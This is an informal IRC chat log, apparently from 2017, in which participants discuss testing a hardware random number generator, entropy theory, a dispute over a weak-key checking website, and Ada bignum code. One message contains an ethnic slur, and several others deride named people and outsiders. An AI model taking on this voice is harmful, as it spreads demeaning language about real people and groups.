1648809;1493321023;mircea_popescu;you can ask, right ? 1648810;1493321029;mircea_popescu;why ask me, i dun know 'em. 1648811;1493321065;Framedragger;might be just noise after all 1648812;1493321077;trinque;happy with their lives in the goop tube 1648813;1493321083;mod6;asciilifeform: indeed. which is partly why maybe my posting these is useful for other folks. we can compare and contrast our fg's at least. 1648814;1493321092;mircea_popescu;can anyone actually buy this thing ? if i click on "buy for 40 bucks" nothing happens 1648815;1493321096;mod6;like Mr. P. can run same tests, see what it looks like compared to mod6's. 1648816;1493321146;asciilifeform;mircea_popescu: i ain't particularly interested in testing whitened 't'rng , also 1648817;1493321155;asciilifeform;if i want whitening, i can dd if=/dev/urandom . 1648818;1493321164;mircea_popescu;sure, but i dun think the website worx ? 1648819;1493321166;asciilifeform;( btw fun exercise, you get quite similar random 'weak' etc. ) 1648820;1493321169;asciilifeform;one would imagine. 1648821;1493321169;mod6;the only other thing I could do, would be to just collect /dev/random until >~1Gb then run the same tests. 1648822;1493321176;asciilifeform;mod6: might take a while. 1648823;1493321234;mod6;and do that like on a bunch of different environments; gentoo, ubuntu 12/14/16, freebsd recent, openbsd (old?) and recent, deb 7 & 8, osx whatever versions 1648824;1493321241;asciilifeform;speaking of subj, i finally have a LYSO crystal here. but not yet a suitable uv detector. 1648825;1493321244;Framedragger;mircea_popescu: seems to go to checkout page for me at http://moonbase.tictail.com/ 1648826;1493321245;mod6;indeed, could take weeks if not months 1648827;1493321299;Framedragger;nice one, asciilifeform's house is getting luminescent lighting finally :D 1648828;1493321311;mod6;the sample bredth of os's above is probably fine... but would want a wider variety of hardware environments. 1648829;1493321320;mircea_popescu;im guessing my browser isn't ajaxy enough or such 1648830;1493321326;mircea_popescu;Framedragger how can you pay ? paypal etc ? 1648831;1493321335;mod6;doesn't probably do us all justice if I run some of these test collections on some shitty hardware i may or may not have. 1648832;1493321345;mod6;would be good to get these tests from at least 3 different people. 1648833;1493321362;asciilifeform;mod6: the thing to compare against would be another UNWHITENED rng. 1648834;1493321368;asciilifeform;which is not a thing that appears to EXIST on the market. 1648835;1493321401;mod6;yah, there's that too. 1648836;1493321401;Framedragger;mircea_popescu: yeah, paypal 1648837;1493321422;mircea_popescu;aite. 1648838;1493321427;mod6;could shortcircut that part in the random device? 1648839;1493321442;Framedragger;i mean, testing and comparing results of these rngs is probably useful (i'm outta time as of now), hm 1648840;1493321499;mircea_popescu;mod6 and ideally unassociated with nsa either. 1648841;1493321538;mod6;ah true enough; be nice to have some outside anal 1648842;1493321558;asciilifeform;mod6, mircea_popescu : i'm still waiting for one of the non-tmsr folx who bought, to publicly write something... 1648843;1493321592;mircea_popescu;may take a while. 1648844;1493321692;asciilifeform;perhaps ye olde pankkake ( http://btcbase.org/log/2017-04-26#1648131 ) ... 1648845;1493321692;a111;Logged on 2017-04-26 20:35 asciilifeform: in other lulz, https://v.teknik.io/v/MlDDG << 'FUCKGOATS unboxing' ( pankkake ! ) 1648846;1493321764;asciilifeform;kako at one point threatened to buy one, and could make a fine critic. but never could be arsed. 1648847;1493321827;asciilifeform;there were a number of folx whom i don't know, who bought. but none yet wrote in. 1648848;1493321844;mircea_popescu;hey, they paid, that completes their obligations. 1648849;1493321847;asciilifeform;aha. 1648850;1493321852;asciilifeform;no complaint on my end. 1648851;1493321887;asciilifeform;i'd naively imagine that if they hated, or loved, or some combination, they might write, somewhere. 1648852;1493321891;asciilifeform;but not afaik yet. 1648853;1493321992;phf;i suspect that no vocal nonwot bought FUCKGOATS. it's either inwot, or else lurkers, that otherwise don't have any kind of presence. won't start participating with a review (even though that's probably a reason way to put self on radar) 1648854;1493322005;phf;*reasonable 1648855;1493322009;asciilifeform;apparently. 1648856;1493322052;asciilifeform;no love/hate/any mail re the design, either, interestingly -- design, is public, anyone could read. 1648857;1493322065;asciilifeform;even build -- himself. 1648858;1493322133;mircea_popescu;asciilifeform this very neatly mirrors the failure of same general population to make bitcoin via eulora. 1648859;1493322149;mircea_popescu;the sad fact of the matter is that there isn't some sort of large pocket of life out there that's being somehow missed on. 1648860;1493322163;mircea_popescu;they just dun has it. will write reviews for pizza hut where they go. 1648861;1493322196;asciilifeform;and oh lol, they have their own leah apparently. 1648862;1493322202;asciilifeform;because these are issued, 1 per heathen pit. 1648863;1493322214;phf;##crypto? 1648864;1493322215;asciilifeform;( for all i know -- literally, issued. ) 1648865;1493322216;asciilifeform;aha 1648866;1493322386;trinque;same pattern; shitty copy of X 1648867;1493322423;mircea_popescu;this "we don't have a log" hurr is becoming the #1 dunning-kruger symptom. they dun have one and dun know why they'd miss it, just like i wouldn't havce known in 2012. 1648868;1493322584;Framedragger;(leah or mp, maybe it's some kind of inevitable general great attractor pattern) 1648869;1493322588;asciilifeform;public idiots have this notion, that somehow they are not public idiots if there is no (easily found) log. 1648870;1493323260;asciilifeform;Framedragger: re earlier thread : i looked far and wide to possibly buy rng to compare with -- and found nothing worth buying ( no, i won't compare with whitened; i won't pay 20,000 $+ for a box of schematicless ??? ; etc ) 1648871;1493323300;Framedragger;that is depressingly sad isn't it. fair enough, good to know... 1648872;1493323322;asciilifeform;same problem with intel's ( probably the most ubiquitous hardware rng ) 1648873;1493323340;asciilifeform;they 1) whiten with sha 2) won't under any circumstance give access to the raw input. 1648874;1493323351;mircea_popescu;heh 1648875;1493323369;mircea_popescu;Framedragger i doubt leah attracts anyone. 1648876;1493323434;Framedragger;mircea_popescu: badump-tss! something like 'flocking', in that particular case. though, yeah, maybe exactly opposite (leahs flock to places) 1648877;1493323466;mod6;<+asciilifeform> even build -- himself. << one of the things im gonna be doing here, maybe with some handholding, is flashing xilinx chip with your fg.v 1648878;1493323478;mircea_popescu;in other weird news, i've apparently gotten hella-good at handling wanna-be leahs, on the basis of nothing in particular. meditation, i guess, not like i've even interacted with the unfiltered refuse of angloshpere since the cat-v adventure. 1648879;1493323481;Framedragger;asciilifeform: yeah that's just insane :/ 1648880;1493323517;Framedragger;maybe it's the costa rican air 1648881;1493323526;Framedragger;less turbulence. 1648882;1493323596;mircea_popescu;maybe i'm getting old. 1648883;1493323673;mod6;nah 1648884;1493323687;mircea_popescu;asciilifeform one can't well shake the suspicion the reason intel isn't keen to share raw stream is the fear that you'd poke it at the wrong time. 1648885;1493323696;mircea_popescu;widely deployed snake oil, it's gotta happen. 1648886;1493324062;asciilifeform;noshit.jpg 1648887;1493324288;mircea_popescu;in other lulz, intel provideds us with a Taylor Campbell anchor for the ~riastradh@netbsd/developer/riastradh symbol, and other than an empty packages maintainer list, choice items such as https://www.slideshare.net/eurobsdcon/devrandom 1648888;1493324389;mircea_popescu;factorable.net, of course. phuctor never heard of, of course. totally innocent bystander. 1648889;1493324418;mircea_popescu;(for they following at home : factorable.net, an item existing entirely to try and pretend like phuctor didn't happen -- no longer exists on the web. 1648890;1493324434;mircea_popescu;this, of course, has ~nothing to do with its failure at that intended task, a much younger Framedragger would assure us.) 1648891;1493324460;mircea_popescu; https://archive.is/2Vd6G for teh posterity. 1648892;1493324638;Framedragger;wasn't factorable.net 2012? or was phuctor around in 2012 1648893;1493324655;mod6;up and testing on FG #3. 1648894;1493324657;mircea_popescu;around in 2012 as a what ? 1648895;1493324670;Framedragger;their paper is certainly 2012 1648896;1493324676;Framedragger;(https://factorable.net/paper.html) 1648897;1493324681;mircea_popescu;i have domains i registered pre 2000 i never bothered to use. i'd say link me, but... 1648898;1493324704;Framedragger;also it's still around, but uses a cert that you (probably for good reason) hate 1648899;1493324713;mircea_popescu;Framedragger i see 2015 archive.is 1648900;1493324742;mircea_popescu;oldest item from them, 17 may 2015, https://archive.is/9CIuQ 1648901;1493324750;phf;most of the lisp developers here know riastradh by his paredit, but he's otherwise a competent scheme developer 1648902;1493324751;mircea_popescu;and otherwise, the website doesn't load, not for me not for archive.is 1648903;1493324751;Framedragger;okay, look, their paper was published in 2012. people referred to it as "that 2012 paper". now it's possible all them people are sybils, but i'll go ahead and say that factorable came before phuctor. 1648904;1493324790;mircea_popescu;Framedragger i'll take your word for it. if i DIDN'T though, what steps could you take to enact this truth ? 1648905;1493324795;Framedragger;loads for me. letsencrypt cert. 1648906;1493324804;mircea_popescu;this is nice but... 1648907;1493324822;Framedragger;web.archive.org/web/20121023082642/factorable.net 1648908;1493324834;phf;his "homepage" https://mumble.net/~campbell/ and a "blog" https://mumble.net/~campbell/blag.txt 1648909;1493324836;mircea_popescu;phf can you with not so much effort point out to me what netbsd anything he did ? 1648910;1493324871;phf;i don't know anything about his netbsd work. i know him exclusively via scheme/lisp world 1648911;1493324892;mircea_popescu;a ok. 1648912;1493324964;Framedragger;mircea_popescu: web archive says 2012, when i click its link it takes me to http://web.archive.org/web/20130310014945/https://factorable.net/ (note, 2013), but i think it's because there was no change between its first archived instance (23 oct 2012) and this 2013. anyway, no proof, sure 1648913;1493324980;mircea_popescu;Framedragger tjhere is some skullduggery at work here, as that link redirects me to a 2013 item ( web.archive.org/web/20121023082642/factorable.net 1648914;1493324980;mircea_popescu; http://web.archive.org/web/20130310014945/https://factorable.net/) 1648915;1493324989;Framedragger;yeah 1648916;1493325003;mircea_popescu;anyway. this looks like an empty placeholder. i see nothing in there. can i verify any claim in any way ? 1648917;1493325054;Framedragger;what answer did you expect? what kind of verification? it was around on 2012. offered a keycheck service. service no longer offered. raw data not available. "meh; but not stolen from phuctor" is my conclusion 1648918;1493325112;mircea_popescu;5.57%. this implies a sample of no less than 1795332 items (of which 100000 came out this way) because iirc 557 is a prime number. 1648919;1493325143;mircea_popescu;Framedragger can i see the 2012 version of the verification service ? 1648920;1493325228;Framedragger;hm. definitely not live, because it's not, you know, static. you wish to see the frontend? 1648921;1493325248;mircea_popescu;i would like to see something. put you in my shoes and see what you'd like to see ? 1648922;1493325251;Framedragger;i mean all i've got is http://web.archive.org/web/20130220094146/https://factorable.net/keycheck.html 1648923;1493325265;Framedragger;^ probably worth a peek. tls/ssh as input. 1648924;1493325288;mircea_popescu;ah it tests against "our db of weak keys". 1648925;1493325299;mircea_popescu;i suppose that's one way to go about it. 1648926;1493325321;Framedragger;why the fuck did it tell me it had a 2012 snapshot if it's defo not available tho, lol 1648927;1493325330;mircea_popescu;"The service will also report whether we have seen the same key in use in other certificates or served from other IP addresses, which can help identify default or repeated keys." 1648928;1493325335;Framedragger;mircea_popescu: yeah, not super much 1648929;1493325356;mircea_popescu;Framedragger because webarchive is worth trusting about as far as you can throw alexa, an amazon company, in the business of making up shit about the web since the 90s. 1648930;1493325375;Framedragger;no argument :/ 1648931;1493325382;mircea_popescu;aaanyway. 1648932;1493325388;mircea_popescu;thanks for indulging the mess. 1648933;1493325436;mircea_popescu;http://btcbase.org/log/2013-10-19#353492 << 2013 for the record. 1648934;1493325436;a111;Logged on 2013-10-19 18:29 mircea_popescu: and phuctor is over 250 keys loaded now. 1648935;1493325521;Framedragger;ah k, need to keep in mind. almost four years going, good stuff! 1648936;1493325646;mircea_popescu;it wasn't much foir the first coupla though. as these things usually go. 1648937;1493326032;mircea_popescu;well, the guy is evidently not in the mood to indulge, but let's try this. " his "Is there such a thing as better or worse entropy ?" paragraph is equally as painful to read 1648938;1493326107;mircea_popescu; he clearly doesn't understand the differences between shannon entropy and entropy as defined by the 2nd law of thermodynamics 1648939;1493326107;mircea_popescu; eightyeight what are the differences, for my curiosity ?" 1648940;1493326108;mircea_popescu;anyone want to take a stab at it ? 1648941;1493326108;mircea_popescu;!!up framedr 1648942;1493326108;deedbot;framedr voiced for 30 minutes. 1648943;1493326131;framedr;(server down for 'emergency maintenace'. yes will move to dedicated, no this is not acceptable, OP sucks dicks) 1648944;1493326147;mircea_popescu;btw ben_vulpes consider changing the reference point to #trilema in your seminal and widely quoted http://cascadianhacker.com/07_v-tronics-101-a-gentle-introduction-to-the-most-serene-republic-of-bitcoins-cryptographically-backed-version-control-system ? 1648945;1493326162;mircea_popescu;framedr eh take it ezzy :) 1648946;1493326165;asciilifeform;mircea_popescu: the paper existed in '13 certainly, i read it. but the actual data wasn't public, then or now. 1648947;1493326179;mircea_popescu;i believe. 1648948;1493326214;mircea_popescu;i still think the item existed and was quoted in the dude's slides as a phuctor decoy and nothing more. this is not really something i can be talked out of through showing that a website wireframe existed ~same eyar. 1648949;1493326286;asciilifeform;the funnybit is that it ~still~only exists in this form 1648950;1493326299;mircea_popescu;well meanwhile it fell off [my version of] the internet. 1648951;1493326306;framedr;(granted, bootstrap website is not the most amazing rigorous proof) 1648952;1493326453;framedr;their root is one 'ISRG root', trusted by firefox as of 2016 it seems, but it makes a whooooolotta sense to tend to one's cert garden manually as mircea_popescu does. (then again, if it's all snakeoil anyway?..) 1648953;1493326462;framedr;(i mean letsencrypt cert root) 1648954;1493326487;mircea_popescu;for some reason it dun work on my systems and i dun feel like debugging it for them 1648955;1493326533;framedr;owait, 'isrg root' is mozilla's root lol. i thought, third party. it's a root they created 1648956;1493327379;ben_vulpes;mircea_popescu: good idea 1648957;1493327397;mircea_popescu;nobody is going to take the entropy bait are they. 1648958;1493327455;phf;hehe, i'd be surprised if somebody even attempted to. 1648959;1493327467;mircea_popescu;i live a sad life of rum and solitude. 1648960;1493327570;Framedragger;possibly mod6's earlier referred https://www.cs.auckland.ac.nz/~chaitin/sciamer.html (chaitin!) is relevant, but not sure 1648961;1493327732;phf;afaiu shannon's entropy being a probability is descriptive, rather than prescriptive. so it can categorize a sequence of events, but it can't really say anything about how those sequence of events come about. so i'm not entirely sure how it even applies to engineering problem of event generation.. 1648962;1493327802;mircea_popescu;can entropy in the physics sense predict anything ? 1648963;1493327888;mircea_popescu;phf if it can categorize the events it necessarily can say ~something~ about ["the past","how they came about"], neh ? 1648964;1493328152;Framedragger;isn't it a kind of probability of possible messages / possible states, given a message / given some system. can you really infer anything about "how it came about" (infer *any* info, in terms of probability or w/e)? 1648965;1493328201;mircea_popescu;oh shit. turns out what the dude means is actually rather trivial, and also a rather ridiculous tribal misunderstanding of what shannon said etc. read the slides 8 and 9 of this dude's presentation. 1648966;1493328217;mircea_popescu;https://www.slideshare.net/eurobsdcon/devrandom < 1648967;1493328273;asciilifeform;oh hey hey hey lbj! 1648968;1493328276;mircea_popescu;basically this tribe thinks that what shannon entropy is, is when P takes value "hunter2" in 50% of the cases and a random in the remainder of cases and therefore this is "no good for crypto because i can guess what your password will be". 1648969;1493328280;asciilifeform;it's the 'use /dev/urandom' d00d !! 1648970;1493328285;mircea_popescu;well yes. 1648971;1493328310;mircea_popescu;and check out the "min-entropy" "best strategy" thing on slide 10. 1648972;1493328317;asciilifeform;or hm, maybe not same one, http://btcbase.org/log/2017-02-15#1614105 1648973;1493328317;a111;Logged on 2017-02-15 18:59 asciilifeform: in related lulz/disinfo, http://www.2uo.de/myths-about-urandom/ 1648974;1493328323;asciilifeform;but similar flavour. 1648975;1493328323;mircea_popescu;they're like mere hairs away from coming up with an ideal compressor, these folks. 1648976;1493328325;mircea_popescu;wtf is wrong with people. 1648977;1493328360;asciilifeform;complete with link to 'factorable.net' in place of phuctor. 1648978;1493328368;mircea_popescu;you sound like me now. 1648979;1493328387;asciilifeform;after working as exterminator long enough, all rats begin to look quite alike 1648980;1493328404;mircea_popescu;basically what happens is they hang out in these "professional" venues being "polite" and as a result they misunderstand something and it becomes a thing for them and then they end up in arguments with outsiders over it. 1648981;1493328434;mircea_popescu;but yes, i agree there's a huge difference between "spit out string hunter2 half tyhe time" and entropy eh 1648982;1493328456;asciilifeform;'Can’t attain the security property against attacker who compromises the kernel, but some people worry about theoretically approximating it for some reason.' << this kernel fixation. 1648983;1493328465;asciilifeform;i have devices with 0 kernel. e.g. FUCKGOATS itself. 1648984;1493328472;mircea_popescu;gotta accept the framework alfie! 1648985;1493328475;asciilifeform;is not a von neumann machine. doesn't have one inside, even. 1648986;1493328476;Framedragger;http://btcbase.org/log/2017-04-27#1648964 << ah shit i (in fact) just repeated phf, sorry lol 1648987;1493328476;a111;Logged on 2017-04-27 21:22 Framedragger: isn't it a kind of probability of possible messages / possible states, given a message / given some system. can you really infer anything about "how it came about" (infer *any* info, in terms of probability or w/e)? 1648988;1493328486;asciilifeform;( any other rng , available for love or money, where this is true ?? ) 1648989;1493328487;mircea_popescu;which can of campbell soup do you want president ? YOU DO WANT A CAN OF SOUP IN OFFICE! 1648990;1493328504;phf;Framedragger: we're trying to say the same thing, but i don't think it's quite there yet 1648991;1493328516;asciilifeform;also gotta love the 'slides' liquishit 1648992;1493328517;mircea_popescu;asciilifeform xilinx! 1648993;1493328524;asciilifeform;where if you gotta paste, you gotta 'view src' 1648994;1493328546;mircea_popescu;apparently the whole academic thing isn't very high with the contemporaneous crop. 1648995;1493328573;asciilifeform;mircea_popescu: next rev of board will have, for lulzies, a not-xilinx 1648996;1493328574;Framedragger;phf: seminar group! imma read shannon's orig paper realsoonnao anyway 1648997;1493328587;asciilifeform;( or possibly a fully 74xxxxized circuit, firmwareless. ) 1648998;1493328603;mircea_popescu;phf Framedragger there's actually a specific law forbidding your approach from prevailing. 1648999;1493328622;asciilifeform;but fact -- current : no von neumann. no cpu. 1649000;1493328646;mircea_popescu;xilinx could work as cpu in theory! 1649001;1493328665;asciilifeform;could. somebody once posted a 1-instruction 4-bit cpu that fits in the xc64. 1649002;1493328682;mircea_popescu;did it look like GoL ? 1649003;1493328695;asciilifeform;nope, that'd need some actual memory 1649004;1493328715;asciilifeform;( you can get a few bytes in there, see fg.v ) 1649005;1493328731;asciilifeform;bytes, note. not M, not K. 1649006;1493328733;mircea_popescu;aha 1649007;1493328763;mircea_popescu;ahahaha "kernel is totally deterministic" o brother. 1649008;1493328768;mircea_popescu;i have been well entertained. 1649009;1493328824;mircea_popescu;apparently there exists a dude named 1649010;1493328831;mircea_popescu;!~google "thor lancelot" simon 1649011;1493328832;jhvh1;mircea_popescu: Thor Lancelot Simon - Panix: ; Thor John Lancelot Simon Inventions, Patents and Patent ...: ; Thor Simon | LinkedIn: 1649012;1493328862;asciilifeform;hey, if a... batman suparman . exists. 1649013;1493328864;asciilifeform;why not this. 1649014;1493328885;mircea_popescu;i never knew a simon could be so brave! 1649015;1493328888;asciilifeform;!~google batman suparman 1649016;1493328890;jhvh1;asciilifeform: Trending: Batman bin Suparman jailed in Singapore - BBC News: ; Batman Bin Suparman Jailed In Singapore | The Huffington Post: ; Internet Hero Batman bin Suparman Jailed For Theft, Drug Crimes: (1 more message) 1649017;1493328924;mircea_popescu;asciilifeform i recall this was a lulz on ancient ed. 1649018;1493328959;mircea_popescu;asciilifeform holy shit you're linked in there. 1649019;1493328969;asciilifeform;waiwhere 1649020;1493328970;mircea_popescu;check out last slide! 1649021;1493328999;asciilifeform;lol!! 1649022;1493329002;mircea_popescu;bwahaha 1649023;1493329023;asciilifeform;that one gets linked quite a bit 1649024;1493329030;asciilifeform;from various academitards, too 1649025;1493329115;mircea_popescu;pretty lulzy. 1649026;1493329142;mircea_popescu;in other "Riastradh> Design of RNGs for crypto is on-topic, though physical phenomona that lead to them is at the edge of the topic of this channel -- not because it's irrelevant but because it lies outside the area of expertise in mathematical cryptography one expects to find here." : "* andytoshi (~apoelstra@unaffiliated/andytoshi) has joined ##crypto 1649027;1493329142;mircea_popescu; how parallelizable is shor's algo? if i want to break 100 discrete logs is this much faster to do in batch than to do them separately?" 1649028;1493329258;Framedragger;check out alf's javascript http://www.loper-os.org/bad-at-entropy/manmach.js :) but yeah, good tool 1649029;1493329270;asciilifeform;Framedragger: does it work on yer box ? 1649030;1493329288;Framedragger;asciilifeform: keys dun work, actually, but no matter. overall - works 1649031;1493329325;asciilifeform;Framedragger: that was 1 of the 2 occasions where i wrote something in js 1649032;1493329347;asciilifeform;Framedragger: http://www.loper-os.org/mwemu/mwemu.html << being the other. 1649033;1493329361;asciilifeform;( where i bet also keyz dun work any moar on 'modern' browser... ) 1649034;1493329447;Framedragger;ah, i remember the microwriter article. cool. hm yeah dun seem to work, on first attempt 1649035;1493329490;*;Framedragger considers opening js console to check exceptions, but goes for tea to not ruin evening 1649036;1493329493;asciilifeform;Framedragger: if you know how to make it work-everywhere without library liquishit -- do tell. 1649037;1493329509;Framedragger;asciilifeform: might be able to. will do 1649038;1493329516;asciilifeform;also check numlock 1649039;1493329593;asciilifeform;( last time i tried it, it worked on everything short of 'lynx' . ) 1649040;1493329980;Framedragger;asciilifeform: e.which more browser-agnostic than e.keyCode; in my case (firefox), e.keyCode is 0, expects e.charCode for $reasons. however, e.which will also work, and 'should' work everywhere except on very old IE. am not js expert tho, so, disclaimer 1649041;1493329982;*;Framedragger bbl 1649042;1493330043;asciilifeform;Framedragger: test with/without numlock. betcha it worx as-is. 1649043;1493330254;Framedragger;asciilifeform: did, with and without numlock. and the thing you're trying to catch in code (e.keyCode) is 0 in both cases. however, e.which is correct (and is more 'canonical' here anyway). but i'm on laptop currently; but that shouldn't make a difference 1649044;1493330261;phf;asciilifeform: i did a thing 1649045;1493330268;phf;ffa(64*18, Unsigned_64) 1649046;1493330268;phf;(2 ** 1024) - 1: 1649047;1493330268;phf;00000000000000000000000000000001ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 1649048;1493330270;phf;(2 ** 2048) - 1: 1649049;1493330272;phf;overflow! 1649050;1493330274;phf;000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 1649051;1493330320;asciilifeform;phf: plox to elaborate 1649052;1493330356;asciilifeform;64*18 is 1152 neh 1649053;1493330395;phf;well, it's the correct result, nothing unexpected 1649054;1493330404;asciilifeform;ah 1649055;1493330412;asciilifeform;i was about to be excited. 1649056;1493330455;phf;unfortunately it seems to work as expected 1649057;1493330460;asciilifeform;lol! 1649058;1493330474;asciilifeform;congrats to phf for being first to build , btw. hats off. 1649059;1493330497;asciilifeform;( and i did not even post any example of use, much less a makefile. so we have here a fella who definitely does his homework ! ) 1649060;1493330741;phf;i decided to learn ada today 1649061;1493330766;mircea_popescu;lol is that ffa implemented in slutty what's hjer name ? 1649062;1493330803;mircea_popescu;ah nm, ada huh. 1649063;1493330809;asciilifeform;the saddest thing about ada is that there is only one. ( only one properly-specified, multi-implementation typesafe language that can build for small (kB ram) as well as large systems . ) 1649064;1493330828;mircea_popescu;could have stopped at the "properly specified multi implementation" part 1649065;1493330835;asciilifeform;mno 1649066;1493330844;asciilifeform;because there is not and will not be commonlisp on a micro. 1649067;1493330886;asciilifeform;nor on realtime (e.g. avionics) system. 1649068;1493330931;mircea_popescu;ah, cl is properly specified multi implementation ? 1649069;1493330935;asciilifeform;indeed 1649070;1493330953;asciilifeform;1 of 2 . ( the other... ada. ) 1649071;1493330973;mircea_popescu;sbcl and what ? the google app engine abcl ? 1649072;1493330979;asciilifeform;ccl 1649073;1493330996;mircea_popescu;ah 1649074;1493331017;asciilifeform;kyoto cl. clisp. franz. lispworks. scineer. (last one - i never tried, cannot say with certainty how standard-compliant) 1649075;1493331027;mircea_popescu;let's let cmucl out to piss off people. 1649076;1493331033;asciilifeform;lolyes 1649077;1493331062;mircea_popescu;apparently there's a lot of them. /me is looking at cliki.net 1649078;1493331089;asciilifeform;not so many (some, e.g. sbcl and cmucl, are 'blood relatives' ) 1649079;1493331347;asciilifeform;i wonder if there is any other language, than cl and ada, in reasonably common use today, that does not presuppose 8-bit bytes. 1649080;1493331358;mircea_popescu;fortran ? 1649081;1493331420;asciilifeform;which fortran'd that be 1649082;1493331437;asciilifeform;g77 certainly is married to the 8bit byte. 1649083;1493331509;mircea_popescu;fortran fortran. the 36bit word item 1649084;1493331532;asciilifeform;them ain't bytes 1649085;1493331545;mircea_popescu;what's your definition of a byte here ? 1649086;1493331563;asciilifeform;the default quantization of memory. 1649087;1493331579;mircea_popescu;oh i thought "the quanta of simultaneous operation" 1649088;1493331593;asciilifeform;that'd be a machine attribute, not language. 1649089;1493331633;mircea_popescu;i guess that;s a point. 1649090;1493331647;mircea_popescu;besides, one doesn't regard 64 bits currently as a byte 1649091;1493331657;asciilifeform;aha. because it isn't. 1649092;1493331661;mircea_popescu;(no idea why not, they certainly thought 8 bits were a byte for the same reason) 1649093;1493331674;asciilifeform;because it isn't the smallest operand on the box. 1649094;1493331684;mircea_popescu;the etymology is afaik both deliberate and indicative : byte. 1649095;1493332265;asciilifeform;microchip co's 'pic' lineup had systems with 12b bytes, 14... 1649096;1493332281;asciilifeform;then of course there were the pdp 1649097;1493332308;asciilifeform;there are boxes in orbit with weird (18b, say) 'bytes'. 1649098;1493332384;asciilifeform;i am no pro trishop, but bible and koran both were silent on what System.Storage_Unit oughta equal... 1649099;1493332427;mircea_popescu;all this being machine considerations anyway 1649100;1493332445;asciilifeform;aha. except that if you go and try to build a c proggy for these, it will barf. 1649101;1493332451;asciilifeform;married to 8bitness. 1649102;1493332477;asciilifeform;( and to characters-are-bytes-are-characters. we had this thread also. ) 1649103;1493332544;phf;very very naive exponentiation implementation http://wotpaste.cascadianhacker.com/pastes/9WPJT/?raw=true 1649104;1493332585;asciilifeform;neato phf 1649105;1493332647;asciilifeform;you wouldn't actually want the exponent arg to be 'Integer' tho 1649106;1493332651;asciilifeform;given as it can go negative. 1649107;1493332662;phf;aah 1649108;1493332677;asciilifeform;this kind of thinking comes quickly with practice tho. 1649109;1493332691;asciilifeform;'what's the narrowest type this can be, and still work in all useful cases' 1649110;1493332732;asciilifeform;also ideally it'd work in constant cycles. ( asciilifeform is still thinking, on paper, how to make shifts work in fixed cycles . ) 1649111;1493332761;asciilifeform;this is trickier than it appears, because you can't ever have a branch condition itself on a secret bit. 1649112;1493332766;asciilifeform;major sin. 1649113;1493332788;asciilifeform;( and i will note, all -- afaik -- implementations of bignumtron, fail this litmus ) 1649114;1493332844;BingoBoingo;http://btcbase.org/log/2017-04-27#1648605 << Disappointed this convo did not get FUCKGOATS is the captain now pilot joak 1649115;1493332844;a111;Logged on 2017-04-27 16:45 mircea_popescu: these together mounted on say quadcopter suddenly are rather dangerous. for one thing, no way to intercept its comms anymore. 1649116;1493332863;phf;Natural then 1649117;1493332865;asciilifeform;phf: also FZ_Add(Result, Result, Result, Overflow); can be a shift, neh. 1649118;1493332879;phf;hence very very naive! :D 1649119;1493332961;phf;well, the whole thing can just be shift by exponent 1649120;1493333012;asciilifeform;if exponent is 2**x, lolyes 1649121;1493333040;phf;... 1649122;1493333139;asciilifeform;phf: your expt doesn't exponentiate, it (slowly) Shift_Left's. 1649123;1493333155;phf;.... 1649124;1493333177;asciilifeform; FZ_Set(Result, X); 1649125;1493333177;asciilifeform; For_Loop: 1649126;1493333177;asciilifeform; for I in Integer range 1 .. Exponent loop 1649127;1493333177;asciilifeform; FZ_Add(Result, Result, Result, Overflow); 1649128;1493333177;asciilifeform; if Overflow = 1 then 1649129;1493333178;asciilifeform; exit For_Loop; 1649130;1493333181;asciilifeform; end if; 1649131;1493333183;asciilifeform; end loop For_Loop; 1649132;1493333200;phf;it is not in fact phf who posted this nonsense but an adversary, a sybil attack is in progress! 1649133;1493333207;asciilifeform;lolk. 1649134;1493333223;BingoBoingo;http://btcbase.org/log/2017-04-27#1648755 << William James, James Joyce was a noted novelist and potato nigger 1649135;1493333223;a111;Logged on 2017-04-27 18:55 Framedragger: re. american who said sth interesting, i volunteer david lewis (the philosopher)! inb4 BingoBoingo's "only american philosopher was james joyce" 1649136;1493333356;BingoBoingo;http://btcbase.org/log/2017-04-27#1648779 << Gotta be more specific, Alf presents Great Inca's Magic potato. Ripened with Glyphosate! 1649137;1493333356;a111;Logged on 2017-04-27 19:11 mircea_popescu: pretty much all that grows on the fertile soil of the red skin's plain is potatoe. 1649138;1493333801;asciilifeform;hm looks like ze l0gz lose leadingwhitespace. 1649139;1493333815;asciilifeform;( phf's and Framedragger's both ) 1649140;1493333846;trinque;logs.bvulpes.com got it 1649141;1493333870;asciilifeform;mighty spiffy. 1649142;1493333928;BingoBoingo;http://btcbase.org/log/2017-04-27#1648979 << But now you have conibear! 1649143;1493333928;a111;Logged on 2017-04-27 21:26 asciilifeform: after working as exterminator long enough, all rats begin to look quite alike 1649144;1493334315;mircea_popescu;http://btcbase.org/log/2017-04-27#1649111 << this however is the correct aproach, build the item entirely so as to avoid it. 1649145;1493334315;a111;Logged on 2017-04-27 22:39 asciilifeform: this is trickier than it appears, because you can't ever have a branch condition itself on a secret bit. 1649146;1493334321;mircea_popescu;rather than trying to bolt mitigation on side. 1649147;1493334418;mircea_popescu;http://btcbase.org/log/2017-04-27#1649132 >> ajajajaja 1649148;1493334418;a111;Logged on 2017-04-27 22:46 phf: it is not in fact phf who posted this nonsense but an adversary, a sybil attack is in progress! 1649149;1493334421;mircea_popescu;epic. 1649150;1493335418;phf;asciilifeform: browser doesn't render repeat whitespace, unless you do
 but then, i believe, it doesn't automatically wrap lines
1649151;1493335489;phf;never the the less, i put a hack that fixes the issue without using 
1649152;1493335492;phf;http://btcbase.org/log/2017-04-27#1649124
1649153;1493335492;a111;Logged on 2017-04-27 22:46 asciilifeform:       FZ_Set(Result, X);
1649154;1493335569;mircea_popescu;phf can pre style wrap something. but anyway.
1649155;1493335631;phf;aah, pre-wrap
1649156;1493335757;mircea_popescu;yeah
1649157;1493335802;phf;probably better than injecting   for >1 whitespace in a row...
1649158;1493336238;mircea_popescu;possibly.
1649159;1493337177;asciilifeform;over in the circus,   EmmyNoether has quit (Ping timeout: 240 seconds)   << whod'vethunkit.
1649160;1493337249;mircea_popescu;heh
1649161;1493337267;mircea_popescu;gotta dekulakize all value repositories!
1649162;1493337329;asciilifeform;and omfg are these folx infested with leahs.
